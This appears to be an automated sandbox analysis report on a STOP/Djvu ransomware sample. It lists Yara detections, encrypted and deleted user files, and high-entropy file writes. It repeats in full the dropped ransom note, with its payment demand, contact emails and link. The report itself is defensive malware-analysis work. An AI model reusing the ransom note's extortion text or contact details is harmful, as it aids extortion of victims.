Code function: 2_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

2_2_004822E0

Source: SciTE.exe.1.dr

Binary or memory string: _winapi_getrawinputdata _winapi_getrawinputdeviceinfo _winapi_getregiondata _winapi_getregisteredrawinputdevices \

memstr_b49949f0-d

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_readme.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.You can get and look video overview decrypt tool:https://we.tl/t-0S984cQ4B3Price of private key and decrypt software is $980.Discount 50% available if you contact us first 72 hours, that's price for you is $490.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@sysmail.chReserve e-mail address to contact us:supportsys@airmail.ccYour personal ID:0430JIjdmi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1

Jump to dropped file

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7380, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7492, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 0.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22315a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22515a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22515a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22815a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22415a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22a15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22a15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1940971329.0000000002250000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1863808693.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1874166831.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2923188617.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2923193912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1951353036.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 5480, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 3492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7272, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7380, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7564, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe PID: 7880, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File moved: C:\Users\user\Desktop\UMMBDNEQBN.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File deleted: C:\Users\user\Desktop\UMMBDNEQBN.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File moved: C:\Users\user\Desktop\VLZDGUKUTZ\DVWHKMNFNN.png	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File deleted: C:\Users\user\Desktop\VLZDGUKUTZ\DVWHKMNFNN.png	Jump to behavior
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File moved: C:\Users\user\Desktop\VLZDGUKUTZ.docx	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File dropped: C:\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-0s984cq4b3price of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0430jijdmi0fxruhvihm5xsi9icg243ympjqd748ocimkyjt1	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File dropped: C:\$WinREAgent\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-0s984cq4b3price of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0430jijdmi0fxruhvihm5xsi9icg243ympjqd748ocimkyjt1	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File dropped: C:\$WinREAgent\Scratch\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-0s984cq4b3price of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0430jijdmi0fxruhvihm5xsi9icg243ympjqd748ocimkyjt1	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File dropped: C:\Users\user\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-0s984cq4b3price of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0430jijdmi0fxruhvihm5xsi9icg243ympjqd748ocimkyjt1	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db entropy: 7.99120955836	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Microsoft\input\en-GB\userdict_v1.0809.dat entropy: 7.99108978111	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.session64 entropy: 7.99714766549	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\chrome.exe entropy: 7.99882481181	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258.log entropy: 7.99541085905	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258c.log entropy: 7.99796928817	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1309.log entropy: 7.99848785378	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929a.log entropy: 7.99709559673	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929b.log entropy: 7.99845747974	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1000.log entropy: 7.99567342305	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1051.log entropy: 7.99015963096	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1051a.log entropy: 7.99807034618	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1152.log entropy: 7.99852644317	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1153.log entropy: 7.99816672853	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1157.log entropy: 7.99806193634	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\msedge_installer.log entropy: 7.99151310478	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\offline.session64 entropy: 7.99758055127	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt entropy: 7.99233691682	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99725362375	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.996756987	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.wdlo (copy) entropy: 7.99120955836	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.session64.wdlo (copy) entropy: 7.99714766549	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\chrome.exe.wdlo (copy) entropy: 7.99882481181	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258.log.wdlo (copy) entropy: 7.99541085905	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258c.log.wdlo (copy) entropy: 7.99796928817	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1309.log.wdlo (copy) entropy: 7.99848785378	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929a.log.wdlo (copy) entropy: 7.99709559673	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929b.log.wdlo (copy) entropy: 7.99845747974	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1000.log.wdlo (copy) entropy: 7.99567342305	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1051.log.wdlo (copy) entropy: 7.99015963096	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1051a.log.wdlo (copy) entropy: 7.99807034618	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1152.log.wdlo (copy) entropy: 7.99852644317	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1153.log.wdlo (copy) entropy: 7.99816672853	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1157.log.wdlo (copy) entropy: 7.99806193634	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\msedge_installer.log.wdlo (copy) entropy: 7.99151310478	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\offline.session64.wdlo (copy) entropy: 7.99758055127	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\wct150C.tmp.wdlo (copy) entropy: 7.99737235821	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\wct33D7.tmp.wdlo (copy) entropy: 7.99686153113	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\wct38F0.tmp.wdlo (copy) entropy: 7.997532128	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\wct443C.tmp.wdlo (copy) entropy: 7.99751660293	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\wct49A7.tmp.wdlo (copy) entropy: 7.9972626612	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\wctAB5F.tmp.wdlo (copy) entropy: 7.99746426427	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\wctDB2E.tmp.wdlo (copy) entropy: 7.99729058702	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\wctE4A4.tmp.wdlo (copy) entropy: 7.9975716705	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\wctEA40.tmp.wdlo (copy) entropy: 7.9972387472	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\wctF411.tmp.wdlo (copy) entropy: 7.99760148713	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.wdlo (copy) entropy: 7.99233691682	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.wdlo (copy) entropy: 7.99725362375	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.wdlo (copy) entropy: 7.996756987	Jump to dropped file
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	File created: C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.wdlo (copy) entropy: 7.99108978111	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22315a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22515a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
